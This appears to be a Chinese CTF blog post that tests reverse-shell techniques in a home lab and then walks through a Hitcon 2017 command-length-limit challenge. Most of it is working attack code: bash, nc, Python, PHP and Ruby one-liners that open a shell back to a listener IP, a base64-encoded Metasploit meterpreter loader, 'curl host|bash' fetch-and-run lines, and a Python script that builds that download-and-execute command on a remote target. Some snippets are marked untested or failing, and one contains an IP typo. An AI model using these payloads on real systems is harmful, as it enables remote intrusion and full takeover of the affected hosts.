01 前言
CTF中一些命令執行的題目需要反彈shell,於是solo一波。
02 環境
win10 192.168.43.151 監聽端 裝有nc
kali 192.168.253.128 反彈端 自帶nc/bash/curl...
03 Test it
1.bash反彈
***/dev/[tcp|udp]/host/port是linux設備里面比較特殊的文件,讀取或寫入相當於建立socket調用***
***參考文章及更多騷姿勢***
監聽
反彈
ok
2.nc反彈
2.1nc交互式反彈
或者
/bin/sh | nc 192.168.43.151 7777
2.2nc -e反彈(nc支持-e參數)
***-e后面跟的參數代表的是在創建連接后執行的程序,這里代表在連接到遠程后可以在遠程執行一個本地shell(/bin/bash
),也就是反彈一個shell給遠程,可以看到遠程已經成功反彈到了shell,並且可以執行命令。***
***-n代表在建立連接之前不對主機進行dns解析。***
***如果nc不支持-e參數的話,可以利用到linux中的管道符(由於本次測試監聽端為windows,沒有bash,所有監聽失敗,留待后續解決;可以將6666端口對應的服務器視為外網vps,7777端口對應的服務器視為本地內網pc;當然,本文提及的其余反彈當然是外網vps啦)***
|| 正解
v
數據流
3.curl反彈
前提:index文件包含bash一句話
當然,不限於index文件,其他目錄其他文件也可以的。
更強大的是,只要文本包含bash一句話即可,也就是說存在其他語句也是沒影響的。
4.whois反彈
5.python反彈
#外網[192.168.43.151]WWW目錄下放置shell.py
#!/usr/bin/python #-*- coding: utf-8 -*- import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.43.151",7777)) #外網vps os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
無需curl時
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.151",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Metasploit版(尚未測試)
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234 import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
6.php反彈shell
***類似python反彈shell***
***代碼假設TCP連接的文件描述符為3,如果不行可以試下4,5,6***
<?php $sock=fsockopen("192.168.43.151",7777);//自己的外網ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3"); ?>
無需curl時
php -r '$sock=fsockopen("192.168。43.151",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
7.ruby反彈shell
ruby -rsocket -e 'f=TCPSocket.open("192.168.43.151",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
報錯:sh: 1: 7: Bad file descriptor。文件描述符報錯,emmm...有時間再解決
無需/bin/sh(已測)
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
目標系統是windows(待測)
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.java反彈
直接貼msf了
use payload/java/shell/reverse_tcp
9.lua反彈
use payload/cmd/unix/reverse_lua
04 In CTF
Hitcon2017
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox'.md5('orange'.$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5)
{
exec($_GET['cmd']);
}
else if(isset($_GET['reset']))
{
exec('/bin/rm -rf'.$sandbox);
}
highlight_file(_FILE_);
?>
題目大意就是對單次命令執行做了一個長度為5的限制.
題解原理1.
演示一下確保每次執行命令長度<=5的情況下寫入ls -t>g到_文件
>ls\\ 創建ls\文件 文件內容為[\n]
ls>_ 創建_文件 文件內容為_ [\n] ls\ [\n] 先把ls寫入_
>\ \\ 創建 \ 文件
>-t\\ 創建 -t\文件
>\>g 創建 >g 文件
ls>>_ 將以上文件名按照字典序寫入_文件,這里的字典序是特殊符號,在ls\的前面,所以在生成ls\之后我們要先ls>_,保證ls\在最前面。
出錯error(可能是linux版本問題?官方Writeup就是這樣,后續會嘗試給出正確題解)
題解原理2.
利用了上文第3條curl反彈
curl 10.188.2.20|bash
py腳本
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python` # generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\', # '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
參考:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.roo7break.co.uk/?from=%40&p=215